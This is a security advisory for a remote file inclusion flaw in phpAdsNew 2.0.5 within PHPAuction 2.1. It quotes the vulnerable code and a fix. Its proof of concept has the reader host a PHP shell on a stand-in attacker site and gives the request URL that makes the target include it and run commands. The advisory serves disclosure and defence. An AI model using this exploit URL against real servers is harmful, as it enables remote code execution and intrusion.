PHPAuction 2.1 (maybe higher) with phpAdsNew 2.0.5 RFI

2006.08.07
Risk: High
Local: No
Remote: Yes
CWE: CWE-98


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

+-------------------------------------------------------------------- + + PHPAuction 2.1 with phpAdsNew 2.0.5 Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: PHPAuction 2.1 (maybe higher) with phpAdsNew, + phpAdsNew 2.0.5 (maybe higher) + Venedor ...........: http://www.phpauction.net, + http://phpadsnew.com + Class .............: Remote File Inclusion in /phpAdsNew/view.inc.php + Risk ..............: high (Remote File Execution) + Found by ..........: Philipp Niedziela + Original advisory .: http://www.bb-pcsecurity.de/sicherheit_264.htm + Contact ...........: webmaster[at]bb-pcsecurity[.]de + +-------------------------------------------------------------------- + + Code /phpAdsNew/view.inc.php: + + ..... + // Include required files + require ("$phpAds_path/dblib.php"); + require ("$phpAds_path/lib-expire.inc.php"); + ..... + +-------------------------------------------------------------------- + + $phpAds_path is not properly sanitized before being used. + +-------------------------------------------------------------------- + + Solution: + Declare $phpAds_path before using. + +-------------------------------------------------------------------- + PoC: + Place a PHPShell on a remote location: + http://evilsite.com/dblib.php/index.html + + http://[target]/phpAdsNew/view.inc.php?phpAds_path=http://evilsite.com/d blib.php/&cmd=ls + +-------------------------------------------------------------------- + + Greets: + Krini&Lenni + +-------------------------[ E O F ]----------------------------------


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top